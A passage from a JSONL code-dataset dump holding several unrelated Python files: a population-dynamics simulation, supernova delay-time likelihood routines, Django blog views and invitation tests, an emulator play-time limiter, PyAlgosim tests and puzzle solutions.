file=sys.stderr)\n\nfor count, model, data in accuracies:\n print(f\"Count {count}: Model {model} on {data} data:\\n\\t{accuracies[model, data] * 100.0:.3f}%\")\n","repo_name":"leo848/jufo2023","sub_path":"test_model.py","file_name":"test_model.py","file_ext":"py","file_size_in_byte":2435,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"75"} +{"seq_id":"14560681500","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef calc_next_population(n, R, alpha):\n return n * R * np.exp(-alpha * n)\n\n\n\n# simulation\nn_timesteps = 301\nalpha = 0.01\nR = 2\nR_index = [50, 100, 135]\nn_t = np.zeros(n_timesteps)\nn_t_0 = 900\nn_t[0] = n_t_0\n\n\nfig1 = plt.figure()\nax_bif = fig1.add_subplot(111)\nax_bif.set_xlabel('Number of offspring per individual, R')\nax_bif.set_ylabel('Steady state population, N*')\nax_bif.set_xlim([0, (n_timesteps - 1) * 0.1])\nax_bif.grid()\nfig2 = plt.figure()\nax_time = fig2.add_subplot(111)\nax_time.set_xlabel('Simulation steps')\nax_time.set_ylabel('Population size, N')\nax_time.grid()\nax_time.set_xlim([0, 30])\n\nfor R in range(n_timesteps):\n print(R)\n for i in range(n_timesteps - 1):\n\n n_t[i + 1] = calc_next_population(n_t[i], R * 0.1, alpha)\n ax_bif.plot([R * 0.1] * 100, n_t[-100:], '.', markersize=0.2, color='blue')\n\nfor R in R_index:\n for i in range(n_timesteps - 1):\n n_t[i + 1] = calc_next_population(n_t[i], R * 0.1, alpha)\n n_star1 = n_t[-1:]\n n_star2 = n_t[-2:]\n n_star4 = n_t[-4:]\n ax_time.plot(n_t)\n\nplt.subplots_adjust(hspace=0.5)\n\nplt.show()\n","repo_name":"aanner/CompBio1","sub_path":"assignment_3/assignment_3.py","file_name":"assignment_3.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39257065627","text":"#!/usr/bin/env python\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport survey_efficiency\nfrom scipy.integrate import simps\nfrom scipy.interpolate import interp1d\n\n\"\"\"\nSet of functions which can be used to calculate likelihoods.\n\nReferences:\n-----------\nMaoz+ 2012 (M12): http://adsabs.harvard.edu/abs/2012MNRAS.426.3282M\nGao & Pritchet 2013 (G13): http://adsabs.harvard.edu/abs/2013AJ....145...83G\nHeringer+ 2017 (H17): http://adsabs.harvard.edu/abs/2017ApJ...834...15H\n\"\"\" \n\ndef clean_array(inp_array):\n \"\"\"Limit the number of magnitudes (to 20 orders below maximum) in the input\n array and then normalize it. This is helpful for dealing with likelihoods\n whose log spans ~1000s of mags. Input should be an array of the natural\n log of the values in interest. output array is in linear scale.\n \"\"\"\n inp_array[inp_array < max(inp_array) -20.] = max(inp_array) - 20. \n inp_array = inp_array - min(inp_array) \n inp_array = np.exp(inp_array)\n inp_array = inp_array / sum(inp_array)\n return inp_array \n\ndef get_contour_levels(inp_array, contour):\n \"\"\"Given an input array that is normalized (i.e. cumulative histogram adds\n to one), return the values in that array that correspond to the confidence\n limits passed in 'contour'.\n \"\"\"\n _L_hist = sorted(inp_array, reverse=True)\n _L_hist_cum = np.cumsum(_L_hist)\n\n _L_hist_diff = [abs(value - contour) for value in _L_hist_cum]\n diff_at_contour, idx_at_contour = min((val,idx) for (idx,val)\n in enumerate(_L_hist_diff))\n #Check if contour placement is too coarse (>10% level).\n if diff_at_contour > 0.1:\n UserWarning(str(contour * 100.) + '% contour not constrained.')\t\n return _L_hist[idx_at_contour]\n\ndef integ_DTD(s, to, ti, tf):\n return (tf**(s + 1.) - ti**(s + 1.)) / ((s + 1.) * (tf - ti)) \n\ndef binned_DTD_rate(s1, s2, t_ons, tc):\n \"\"\"Computes the average SN rate in each time bin.\"\"\"\n #Assumes that t_cutoff happens in this bin. True for most sensible cases.\n #t_cutoff usually tested in the range 0.5--2 Gyr.\n\n #Recall, A == 1. for these calculations.\n\n if abs(s1 - s2) < 1.e-3:\n s = s1 #B == A always in this case.\n psi1 = ((t_ons + 0.42) / 2.)**s\n psi2 = ((0.42 + 2.4) / 2.)**s #Valid if tc < 1.41 Gyr. \n psi3 = ((2.4 + 14.) / 2.)**s\n else:\n #If s1 != s2, then vespa rates can only be computed for the\n #intermeddiate bin if tc is on either edge (i.e. 0.42 or 2.4 Gyr).\n \n B = tc**(s1 - s2)\n psi1 = ((t_ons + 0.42) / 2.)**s1\n if abs(tc - 0.42) < 1.e-3:\n psi2 = B * ((0.42 + 2.4) / 2.)**s2\n elif abs(tc - 2.4) < 1.e-3:\n psi2 = ((0.42 + 2.4) / 2.)**s1 \n elif abs(tc - 1.0) < 1.e-3:\n #proceed with the s1-s2 calculation, but this should not be used.\n psi2 = ((0.42 + 2.4) / 2.)**s1 \n else:\n raise ValueError('Cannot compute vespa')\n psi3 = B * ((2.4 + 14.) / 2.)**s2\n \n return psi1, psi2, psi3\n\ndef compute_L_from_DTDs(_s1, _s2, _t0, _tc, mass1, mass2, mass3, redshift,\n host_cond, N_obs, visibility_flag):\n \"\"\"Compute likelihoods given a DTD parametrized by a multiplicative\n constant and a continuous slope. Time bins are as in M12, with the\n exception that 't0' (in Gyr) sets the arbirtrary starting age of the\n first bin.\"\"\"\n psi1, psi2, psi3 = binned_DTD_rate(_s1, _s2, _t0, _tc)\n rate = mass1 * psi1 + mass2 * psi2 + mass3 * psi3\n if visibility_flag:\n vistime = survey_efficiency.visibility_time(redshift) \n detect_eff = survey_efficiency.detection_eff(redshift)\n correction_factor = np.multiply(vistime,detect_eff)\n rate = np.multiply(rate,correction_factor)\n \n\n _N_expected = np.sum(rate)\n _A = N_obs / _N_expected\n\n _lambda = np.log(_A * rate[host_cond])\n _ln_L = - N_obs + np.sum(_lambda)\n return _A, _ln_L\n\ndef mag2lum(mag, sunmag):\n return 10.**(-0.4 * (mag - sunmag))\n\ndef compute_L_using_sSNRL(sSNRL, Dcolor, absmag, redshift,\n host_cond, N_obs, visibility_flag, sunmag):\n\n def get_SN_rate(sSNRL, _Dcolor, _absmag, _redshift):\n L = mag2lum(_absmag, sunmag)\n SNR = np.multiply(sSNRL,L)\n if visibility_flag:\n vistime = survey_efficiency.visibility_time(_redshift) \n detect_eff = survey_efficiency.detection_eff(_redshift)\n correction_factor = np.multiply(vistime,detect_eff)\n SNR = np.multiply(SNR,correction_factor)\n return SNR\n \n SNR_all = get_SN_rate(sSNRL, Dcolor, absmag, redshift) #Whole sample.\n SNR_host = get_SN_rate(\n sSNRL[host_cond], Dcolor[host_cond], absmag[host_cond], redshift[host_cond]) #hosts.\n\n #Normalized rates. Note that un-normalized likelihoods can be analytically\n #derived from these.\n _N_expected = np.sum(SNR_all)\n _A = N_obs / _N_expected\n _lambda = np.log(_A * SNR_host)\n _ln_L = - N_obs + np.sum(_lambda)\n return _A, _ln_L\n\n#Tools for plotting likelihood contours.\ndef read_lnL(_fpath):\n with open(_fpath, 'r') as inp:\n N_obs = float(inp.readline().split('=')[-1]) \n df = pd.read_csv(_fpath, header=1, dtype=float)\n return (N_obs, df['s1'].values, df['s2'].values, df['norm_A'].values,\n df['ln_L'].values)\n\ndef make_A_s_space(N_obs, s1, s2, A, ln_L):\n A_2D, s_2D, ln_L_2D = [], [], []\n cond = (abs(s1 - s2) < 1.e-6)\n A_target = np.logspace(-13.5, -11.5, len(s1[cond]))\n \n for (_s,_A,_ln_L) in zip(s1[cond],A[cond],ln_L[cond]):\n for _At in A_target:\n _f = _At / _A\n s_2D.append(_s)\n A_2D.append(_At)\n ln_L_2D.append(_ln_L + N_obs * (1. - _f + np.log(_f)))\n return np.array(A_2D), np.array(s_2D), np.array(ln_L_2D) \n\ndef plot_contour(ax, x, y, z, c, nx, ny, label='', ao=0., ls=None, add_max=True):\n contour_list = [0.95, 0.68, 0.] \n \n z = clean_array(z)\n X = x.reshape(nx,ny)\n Y = y.reshape(nx,ny)\n qtty = z.reshape(nx,ny)\n levels = [get_contour_levels(z, contour) for contour in contour_list]\n ax.contourf(X, Y, qtty, levels[0:2], colors=c, alpha=0.4 + ao)\t \n cs = ax.contourf(X, Y, qtty, levels[1:3], colors=c, alpha=0.6 + ao)\t \n\n x_best = x[np.argmax(z)]\n y_best = y[np.argmax(z)]\n\n if add_max:\n ax.plot(x_best, y_best, ls='None', marker='o',color=c, markersize=6.,\n alpha=0.6 + ao, fillstyle='none')\n ax.plot([np.nan], [np.nan], color=c, ls='-', lw=15., marker='None',\n label=label)\n\n #Estimate parameter uncertainty from ellipsis path.\n p = cs.collections[0].get_paths()[0]\n v = p.vertices\n x_cont, y_cont = v[:,0], v[:,1] \n x_unc = (max(x_cont) - x_best, x_best - min(x_cont)) #(+68%,-68%)\n y_unc = (max(y_cont) - y_best, y_best - min(y_cont)) #(+68%,-68%)\n return x_best, y_best, x_unc, y_unc\n\ndef plot_A_contours(ax, x, y, z):\n contour_list = [0.95, 0.68, 0.] \n _x, _y = np.unique(x), np.unique(y) \n X = x.reshape(len(_x),len(_y))\n Y = y.reshape(len(_x),len(_y))\n qtty = np.log10(z).reshape((len(_x), len(_y)))\n \n #Levels with labels.\n levels = np.arange(-13.,-11.599,0.2)\n CS = ax.contour(X, Y, qtty, levels, colors='k', linestyles=':', linewidths=1.)\t \n fmt = {}\n \n labels = []\n xx = -.35\n #manual = [(-.7, -.2), (xx, -0.55), (xx, -1.05), (xx, -1.5), (xx,-2.1)]\n manual = [(-.9, -0.3), (xx, -0.55), (xx, -0.7), (xx, -1.05),\n (xx, -1.2), (xx, -1.5), (xx, -1.7), (xx, -2.1)]\n \n for i, l in enumerate(levels):\n if i == 0:\n lab = r'$\\rm{log}\\ A=' + str(format(l, '.1f')) + '$'\n else:\n lab = r'$' + str(format(l, '.1f')) + '$'\n labels.append(lab)\n \n for l, s in zip(CS.levels, labels):\n fmt[l] = s\n plt.clabel(CS, colors='k', fontsize=24, inline=1, fmt=fmt, manual=manual)\n\n #Contours with no labels\n #levels = np.arange(-13.6,-11.799,0.4)\n #ax.contour(X, Y, qtty, levels, colors='k', linestyles='--', linewidths=1.)\t \n\n #CS2 = ax.contour(X, Y, qtty, [levels[1]], colors='k', linestyles='--', linewidths=3.)\t\n\n #plt.clabel(CS, colors='k', fontsize=26, inline=1, fmt=r'$0.95$', manual=[(-1.5,-1.)])\n\ndef compute_rates_using_L(psi, masses, redshift, host_cond, visibility_flag):\n \"\"\"Attempt to reproduce the method in M12. i.e. given the binned masses,\n compute the most likely rates that would explain the data. Then fit a \n power-law-like DTD through the most likely rates. \n \"\"\"\n rate = masses[0] * psi[0] + masses[1] * psi[1] + masses[2] * psi[2]\n if visibility_flag:\n vistime = survey_efficiency.visibility_time(redshift) \n detect_eff = survey_efficiency.detection_eff(redshift)\n correction_factor = np.multiply(vistime,detect_eff)\n rate = np.multiply(rate,correction_factor)\n _ln_L = - np.sum(rate) + np.sum(np.log(rate[host_cond]))\n return _ln_L\n\ndef compute_curvature(j, k, psi, masses, redshift, host_cond, visibility_flag):\n\n rate = masses[0] * psi[0] + masses[1] * psi[1] + masses[2] * psi[2]\n n = host_cond.astype(float)\n if visibility_flag:\n vistime = survey_efficiency.visibility_time(redshift) \n detect_eff = survey_efficiency.detection_eff(redshift)\n correction_factor = np.multiply(vistime,detect_eff)\n rate = np.multiply(rate,correction_factor)\n \n curv = 0.\n for i in range(len(redshift)):\n #Note that M12 has a typoin Eq. (7): not t**2, but (e*t)**2\n #curv += vistime[i]**2. * (n[i] / rate[i] - 1.)**2. * masses[j][i] * masses[k][i]\n curv += correction_factor[i]**2. * (n[i] / rate[i] - 1.)**2. * masses[j][i] * masses[k][i]\n return curv\n\nclass Write_Outpars(object):\n def __init__(self, fpath, header):\n self.fpath = fpath\n self.header = header\n with open(fpath, 'w') as out:\n out.write(header) \n \n def add_line(self, method, X, Y, XErr, YErr):\n def fv(var):\n return str(format(var, '.2f'))\n with open(self.fpath, 'a+') as out:\n out.write('\\n' + method +',' + fv(X) + ',' + fv(XErr[0]) + ','\n + fv(XErr[1]) + ',' + fv(Y) + ',' + fv(YErr[0]) + ','\n + fv(YErr[1]))\n\n","repo_name":"Heringer-Epson/routines_DTD","sub_path":"lib/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":10332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"3291235700","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Jan 2 13:20:58 2021\r\n\r\n@author: ninjaac\r\n\"\"\"\r\n\r\n\r\n\"\"\"\r\nSample Input\r\n\r\n3 1000\r\n2 5 4\r\n3 7 8 9 \r\n5 5 7 8 9 10 \r\nSample Output\r\n\r\n206\r\nExplanation\r\n\r\nPicking 5 from the 1st list, 9from the 2nd list and 10 from the 3rd list gives the maximum value \r\n#(5**2,9**2,10**2) % 1000=206.\r\n\"\"\"\r\n\r\nk,m = map(int,input().split())\r\nl=[]\r\nfor i in range(k):\r\n l.append(max(map(int,input().split())))\r\n \r\nprint((sum([i**2 for i in l]))%m)\r\n\r\n\"\"\"\r\nfrom itertools import product\r\n\r\nK,M = map(int,input().split())\r\nN = (list(map(int, input().split()))[1:] for _ in range(K))\r\nresults = map(lambda x: sum(i**2 for i in x)%M, product(*N))\r\nprint(max(results))\r\n\"\"\"","repo_name":"pavi-ninjaac/HackerRank","sub_path":"Python_challege/itertools.py","file_name":"itertools.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27065819003","text":"from difflib import SequenceMatcher\nfrom wcwidth import wcwidth, wcswidth\nfrom PIL import Image\nimport io\nimport numpy as np\n\n# 2 width chars are counted as 1 width by len(), so causes probs\n# https://github.com/jupiterbjy/CUIAudioPlayer/\ndef pad_zwsp(string):\n zwsp = \"\\u200b\" # zero width space character\n string = string.replace(zwsp, \"\") # to avoid extra zwsp chars\n res = \"\"\n for char in string:\n p = wcswidth(char)-len(char)\n res += zwsp*p + char\n return res\n\ndef kinda_similar(str1, str2, threshold=0.4):\n perc = kinda_similar_perc(str1, str2)\n if perc >= threshold: return True\n else: return False\n\ndef kinda_similar_perc(str1, str2):\n # this func is terrible, use a different one\n return SequenceMatcher(None, str1.lower(), str2.lower()).ratio()\n\ndef chop_image_into_square(imag):\n if type(imag) == type(bytes()): img = Image.open(io.BytesIO(imag))\n elif type(imag) == type(\"\"): img = Image.open(imag)\n \n x, y = img.size\n imag = io.BytesIO()\n if abs(x - y) < 2:\n img.save(imag, \"png\")\n return imag.getvalue()\n\n img = chop_black_borders(img)\n x, y = img.size\n\n a = (x-y)/2\n if a > 0: box = (a, 0, x - a, y)\n else: box = (0, -a, x, y+a)\n img = img.crop(box)\n img.save(imag, \"png\")\n return imag.getvalue()\n\ndef chop_black_borders(imag):\n y_nonzero, x_nonzero, _ = np.nonzero(blur_rows(np.array(imag))>10)\n # return imag.crop((np.min(x_nonzero), np.min(y_nonzero), np.max(x_nonzero), np.max(y_nonzero)))\n return imag.crop((0, np.min(y_nonzero), imag.width-1, np.max(y_nonzero)))\n\ndef blur(a):\n kernel = np.array([[0.0, 0.0, 0.0], \n [2.0, 1.0, 2.0], \n [0.0, 0.0, 0.0]])\n kernel = kernel / np.sum(kernel)\n arraylist = []\n for y in range(3):\n temparray = np.copy(a)\n temparray = np.roll(temparray, y - 1, axis=0)\n for x in range(3):\n temparray_X = np.copy(temparray)\n temparray_X = np.roll(temparray_X, x - 1, axis=1)*kernel[y,x]\n arraylist.append(temparray_X)\n\n arraylist = np.array(arraylist)\n arraylist_sum = np.sum(arraylist, axis=0)\n return arraylist_sum\n\ndef blur_rows(img_np_array):\n for i, row in enumerate(img_np_array):\n img_np_array[i] = np.sum(row)/(len(row)*len(row[0]))\n return img_np_array\n\ndef text_on_both_sides(x, y, width):\n if len(x)+len(y) > width-2:\n ex = len(x) > width/2\n yae = len(y) > width/2\n if ex and not yae:\n x = fit_text(width-2-len(y), x)\n elif not ex and yae:\n y = fit_text(width-2-len(x), y)\n elif ex and yae:\n widthe = int((width-2)/2)\n x, y = fit_text(widthe + 1, x), fit_text(widthe, y)\n return x + (width - len(x) - len(y))*\" \" + y\n\ndef fit_text(width, text, center=False):\n if width < 5:\n return '.' * width\n if len(text) >= width:\n return text[:width - 3] + '..'\n else:\n total_num_spaces = (width - len(text) - 1)\n if center:\n left_spaces = int(total_num_spaces / 2)\n right_spaces = int(total_num_spaces / 2)\n if(total_num_spaces % 2 == 1):\n right_spaces = right_spaces + 1\n return ' ' * left_spaces + text + ' ' * right_spaces\n else:\n return text + ' ' * total_num_spaces\n","repo_name":"thrombe/musimanager","sub_path":"src/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":3356,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"7878831716","text":"from django.shortcuts import render, redirect\nfrom .models import *\nfrom .forms import *\n\n\ndef main_page(request):\n posts = Post.objects.all()\n if 'tag' in request.GET:\n posts = Post.objects.filter(tag_list__name=request.GET['tag'])\n context = {\n 'title': 'Main page',\n 'posts': posts,\n }\n return render(request, 'main/index_main.html', context=context)\n\n\ndef post_page(request, post_slug):\n post = Post.objects.get(slug=post_slug)\n\n if request.method == 'POST':\n if 'delete' in request.POST:\n Post.objects.get(slug=request.POST['delete']).delete()\n return redirect('main_page')\n if 'edit' in request.POST:\n return redirect('edit_page', post.slug)\n\n context = {\n 'title': 'Post page',\n 'post': post,\n }\n return render(request, 'main/index_post.html', context=context)\n\n\ndef add_post_page(request):\n form = PostForm()\n\n if request.method == 'POST':\n form = PostForm(request.POST)\n if form.is_valid():\n name = form.cleaned_data['name']\n title = form.cleaned_data['title']\n text = form.cleaned_data['text']\n tag_list = form.cleaned_data['tag_list']\n likes = form.cleaned_data['likes']\n\n instance = Post.objects.create(name=name,\n title=title,\n text=text,\n likes=likes)\n instance.save()\n for i in tag_list:\n instance.tag_list.add(i.pk)\n\n return redirect('main_page')\n context = {\n 'title': 'Add page',\n 'form': form,\n }\n\n return render(request, 'main/index_add.html', context=context)\n\n\ndef edit_post_page(request, edit_slug):\n post = Post.objects.get(slug=edit_slug)\n form = PostForm(initial={'name': post.name,\n 'title': post.title,\n 'text': post.text,\n 'tag_list': post.tag_list.all().values_list('pk', flat=True),\n 'likes': post.likes})\n\n # [i.pk for i in post.tag_list.all()]\n if request.method == 'POST':\n form = PostForm(request.POST)\n if form.is_valid():\n post.name = form.cleaned_data['name']\n post.title = form.cleaned_data['title']\n post.text = form.cleaned_data['text']\n post.tag_list.set(form.cleaned_data['tag_list'])\n post.likes = form.cleaned_data['likes']\n post.save()\n\n return redirect('main_page')\n\n return render(request, 'main/index_edit.html', {'form': form})\n","repo_name":"Raifell/Blog_CW","sub_path":"blog/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28958941324","text":"from engagementmanager.tests.test_base_entity import TestBaseEntity\nimport json\nfrom rest_framework.status import HTTP_200_OK, HTTP_400_BAD_REQUEST\nfrom engagementmanager.models import Vendor, IceUserProfile\nfrom engagementmanager.utils.constants import Constants\n\n\nclass TestInviteMembersTestCase(TestBaseEntity):\n\n def createEng(self, name):\n # Create an Engagement with team\n engagement = self.creator.createEngagement(name, 'Validation', None)\n engagement.reviewer = self.reviewer\n engagement.peer_reviewer = self.reviewer\n engagement.save()\n engagement.engagement_team.add(self.inviter, self.el_user)\n self.engList.append(engagement)\n print('-----------------------------------------------------')\n print('Created Engagement:')\n print('UUID: ' + str(engagement.uuid))\n print('-----------------------------------------------------')\n\n def childSetup(self):\n\n self.createVendors([Constants.service_provider_company_name, 'Other'])\n\n self.createDefaultRoles()\n self.engList = []\n self.vfList = []\n\n # Create a user with role el\n self.el_user_email = self.randomGenerator(\"main-vendor-email\")\n self.el_user = self.creator.createUser(Vendor.objects.get(\n name=Constants.service_provider_company_name),\n self.el_user_email, '55501000199', 'el user', self.el, True)\n self.inviter = self.creator.createUser(Vendor.objects.get(\n name='Other'), self.randomGenerator(\"main-vendor-email\"),\n '55501000199', 'inviter user', self.standard_user, True)\n self.reviewer = self.creator.createUser(Vendor.objects.get(\n name='Other'), self.randomGenerator(\"main-vendor-email\"),\n '55501000199', 'reviewer user', self.standard_user, True)\n\n self.createEng('123456789')\n self.createEng('abcdefghi')\n\n # Create a VF\n self.deploymentTarget = self.creator.createDeploymentTarget(\n self.randomGenerator(\"randomString\"),\n self.randomGenerator(\"randomString\"))\n\n for eng in self.engList:\n vf = self.creator.createVF(\n self.randomGenerator(\"randomString\"),\n eng,\n self.deploymentTarget,\n False,\n Vendor.objects.get(\n name='Other'))\n self.vfList.append(vf)\n\n self.urlStr = self.urlPrefix + \"invite-team-members/\"\n self.data = dict()\n self.data2 = dict()\n self.token = self.loginAndCreateSessionToken(self.inviter)\n\n def initBody(self):\n self.invitedData = []\n\n self.data['email'] = self.randomGenerator(\"main-vendor-email\")\n self.data['eng_uuid'] = str(self.engList[0].uuid)\n self.invitedData.append(self.data)\n\n self.data2['email'] = self.el_user_email\n self.data2['eng_uuid'] = str(self.engList[0].uuid)\n self.invitedData.append(self.data2)\n\n def inviteContact(self, expectedStatus=HTTP_200_OK):\n self.invitedDataStr = json.dumps(self.invitedData, ensure_ascii=False)\n response = self.c.post(self.urlStr,\n self.invitedDataStr,\n content_type='application/json',\n **{'HTTP_AUTHORIZATION': \"token \" + self.token})\n print('Got response : ' + str(response.status_code),\n str(response.content))\n self.assertEqual(response.status_code, expectedStatus)\n return response\n\n def createContactUser(self):\n self.contact = self.creator.createUser(\n Vendor.objects.get(\n name=Constants.service_provider_company_name),\n self.data['email'],\n self.data['phone_number'],\n self.data['full_name'],\n self.standard_user,\n True)\n print('-----------------------------------------------------')\n print('Created User:')\n print('UUID: ' + str(self.contact.uuid))\n print('Full Name: ' + self.contact.full_name)\n print('-----------------------------------------------------')\n\n def testAddContactForNonExistingContact(self):\n self.initBody()\n self.inviteContact()\n\n def testThrotellingInviteSameEmailSameEng(self):\n self.invitedData = []\n\n self.data['email'] = self.el_user_email\n self.data['eng_uuid'] = str(self.engList[0].uuid)\n self.invitedData.append(self.data)\n\n self.data2['email'] = self.el_user_email\n self.data2['eng_uuid'] = str(self.engList[0].uuid)\n self.invitedData.append(self.data2)\n\n self.inviteContact(expectedStatus=HTTP_400_BAD_REQUEST)\n\n def testThrotellingInviteMoreThan5EmailsToSameEng(self):\n self.invitedData = []\n\n for i in range(0, 30):\n data = dict()\n data['email'] = self.randomGenerator(\"main-vendor-email\")\n data['eng_uuid'] = str(self.engList[0].uuid)\n self.invitedData.append(data)\n\n self.inviteContact(expectedStatus=HTTP_400_BAD_REQUEST)\n\n def testMultipleInvitationsForSameUserDiffEng(self):\n for i in range(0, 2):\n data = dict()\n data['email'] = self.el_user_email\n data['eng_uuid'] = str(self.engList[i].uuid)\n self.invitedData = []\n self.invitedData.append(data)\n self.inviteContact(expectedStatus=HTTP_200_OK)\n invitedUser = IceUserProfile.objects.get(email=data['email'])\n self.assertTrue(\n invitedUser in self.engList[i].engagement_team.all())\n","repo_name":"onap/vvp-engagementmgr","sub_path":"django/engagementmanager/tests/test_invite_members.py","file_name":"test_invite_members.py","file_ext":"py","file_size_in_byte":5619,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"71141633201","text":"#!/usr/bin/env python\n# -*- encoding: latin-1 -*-\n\"\"\"A VisualBoyAdvance time limiter.\nHet VisualBoyAdvance from http://vba.ngemu.com/\nLook on http://www.pdroms.de/ for _legal_ GBA ROMs.\"\"\"\n\nimport sys, subprocess, os, pickle\nimport gtk, pango, gobject\nimport ctypes\n\nprogpath = r'C:\\Programme\\VBoy\\VisualBoyAdvance.exe'\n\ndef exit(process):\n \"\"\"Kills a process spawned by subprocess\"\"\"\n ctypes.windll.kernel32.TerminateProcess(int(process._handle), -1)\n \n\ndef main():\n left = bonus2time()\n cw = CountdownWindow(left)\n gtk.main()\n \ndef bonus2time(perpoint=30, filename='bonusfile.pickle'):\n f = file(filename, 'r')\n points = pickle.load(f)\n f.close()\n \n seconds = perpoint * points\n minutes = seconds / 60\n seconds = seconds - minutes * 60\n hours = minutes / 60\n minutes = minutes - hours * 60\n return [hours, minutes, seconds]\n\ndef time2bonus(t, perpoint=30, filename='bonusfile.pickle'):\n seconds = t[0] * 60 * 60 + t[1] * 60 + t[2]\n bonus = seconds / perpoint\n \n f = file(filename, 'w')\n pickle.dump(bonus, f)\n f.close()\n \n\nclass TimeoutError(Exception):\n \"\"\"A self-defined exception, raised when timeouts occur\"\"\"\n pass\n\nclass CountdownWindow(object):\n def __init__(self, left):\n self.window = gtk.Window()\n # connect with the destroy event to allow closing\n self.window.connect('delete_event', self.delete_event)\n # set a title\n self.window.set_title('Countdown') \n \n self.label = gtk.Label('00:00:00')\n self.label.modify_font(pango.FontDescription('30'))\n self.window.add(self.label)\n\n self.window.show_all()\n self.timeleft = left\n \n self.activate()\n \n \n def activate(self):\n cmd = [progpath, sys.argv[1]]\n self.process = subprocess.Popen(cmd)\n self.terminated = False\n self.label.set_text(self.list2time(self.timeleft))\n gobject.timeout_add(1000, self.update)\n \n def update(self):\n try:\n self.decrease_time()\n self.label.set_text(self.list2time(self.timeleft))\n return True\n except TimeoutError:\n exit(self.process)\n return False\n \n def delete_event(self, widget, event):\n \"\"\"Quitting the window\"\"\"\n exit(self.process)\n time2bonus(self.timeleft)\n gtk.main_quit()\n return False\n \n def list2time(self, lst):\n hours = ''\n if lst[0] < 10:\n hours += '0'\n hours += str(lst[0])\n \n minutes = ''\n if lst[1] < 10:\n minutes += '0'\n minutes += str(lst[1])\n \n seconds = ''\n if lst[2] < 10:\n seconds += '0'\n seconds += str(lst[2])\n \n return hours + ':' + minutes + ':' + seconds\n \n def decrease_time(self):\n \"\"\"Decreases the time\"\"\"\n hours, minutes, seconds = self.timeleft\n if seconds == 0:\n if minutes == 0:\n if hours == 0:\n # no hours left, no minutes, no seconds: exit\n raise TimeoutError\n else:\n # there is some hour\n hours -= 1\n minutes = 59\n else:\n minutes -= 1\n seconds = 59\n else:\n seconds -= 1\n self.timeleft = [hours, minutes, seconds]\n\nif __name__ == '__main__':\n main()\n","repo_name":"Leonidas-from-XIV/sandbox","sub_path":"vbalimit.py","file_name":"vbalimit.py","file_ext":"py","file_size_in_byte":3468,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"5144557009","text":"\nimport sys\nimport unittest\nimport os\n\nparent_path = os.path.dirname(os.getcwd())\nsys.path.append(parent_path)\n\nimport PyAlgosim\nimport PyBank\n\nclass PyAlgosimTestCase(unittest.TestCase):\n\n def test_db_connections(self):\n\n pysim = PyAlgosim.PyAlgosim(PyBank.Account(), db_path=\"test.db\", ticker_list_path=\"../utils/tickers.json\")\n self.assertRaises(IOError, pysim._disconnect_DB)\n\n def test_initial_setup(self):\n # testing ticker list path\n self.assertRaises(IOError, PyAlgosim.PyAlgosim, PyBank.Account(), db_path=\"test.db\", ticker_list_path=\"gibberish\")\n\n # testing db path\n self.assertRaises(Exception, PyAlgosim.PyAlgosim, PyBank.Account(), db_path=\"gibberish\", ticker_list_path=\"../utils/tickers.json\")\n\n # testing PyBank error\n self.assertRaises(TypeError, PyAlgosim.PyAlgosim, \"not a PyBank object\", db_path=\"test.db\", ticker_list_path=\"../utils/tickers.json\")\n\n\n\n# running tests\nsuite = unittest.TestLoader().loadTestsFromTestCase(PyAlgosimTestCase)\nunittest.TextTestRunner(verbosity=2).run(suite)\n","repo_name":"DHDaniel/PyAlgosim","sub_path":"tests/test_pyalgosim.py","file_name":"test_pyalgosim.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"75"} +{"seq_id":"9656633808","text":"\"\"\"\n--- Day 2: Dive! ---\nNow, you need to figure out how to pilot this thing.\n\nIt seems like the submarine can take a series of commands like forward 1,\ndown 2, or up 3:\n\nforward X increases the horizontal position by X units.\ndown X increases the depth by X units.\nup X decreases the depth by X units.\nNote that since you're on a submarine, down and up affect your depth, and so\nthey have the opposite result of what you might expect.\n\nThe submarine seems to already have a planned course (your puzzle input).\nYou should probably figure out where it's going. For example:\n\nforward 5\ndown 5\nforward 8\nup 3\ndown 8\nforward 2\nYour horizontal position and depth both start at 0.\nThe steps above would then modify them as follows:\n\nforward 5 adds 5 to your horizontal position, a total of 5.\ndown 5 adds 5 to your depth, resulting in a value of 5.\nforward 8 adds 8 to your horizontal position, a total of 13.\nup 3 decreases your depth by 3, resulting in a value of 2.\ndown 8 adds 8 to your depth, resulting in a value of 10.\nforward 2 adds 2 to your horizontal position, a total of 15.\n\nAfter following these instructions, you would have a horizontal position of 15\nand a depth of 10. (Multiplying these together produces 150.)\n\nCalculate the horizontal position and depth you would have after following\nthe planned course. What do you get if you multiply your final horizontal\nposition by your final depth?\n\"\"\"\n\nfrom utils import read_input_data, puzzle_a, puzzle_b\nfrom utils import quantify\n\ndef challenge_a(commands):\n horizontal = quantify(commands, lambda x: x[1] if x[0] == \"forward\" else 0)\n\n def depth_delta(command):\n if command[0] == \"forward\":\n return 0\n elif command[0] == \"up\":\n return -1 * command[1]\n elif command[0] == \"down\":\n return command[1]\n else:\n raise Exception('invalid command')\n \n depth = quantify(commands, depth_delta)\n return horizontal * depth\n\ndef parse_data(data):\n lines = data.strip().split(\"\\n\")\n commands = [(i.split(\" \")[0], int(i.split(\" \")[1])) for i in 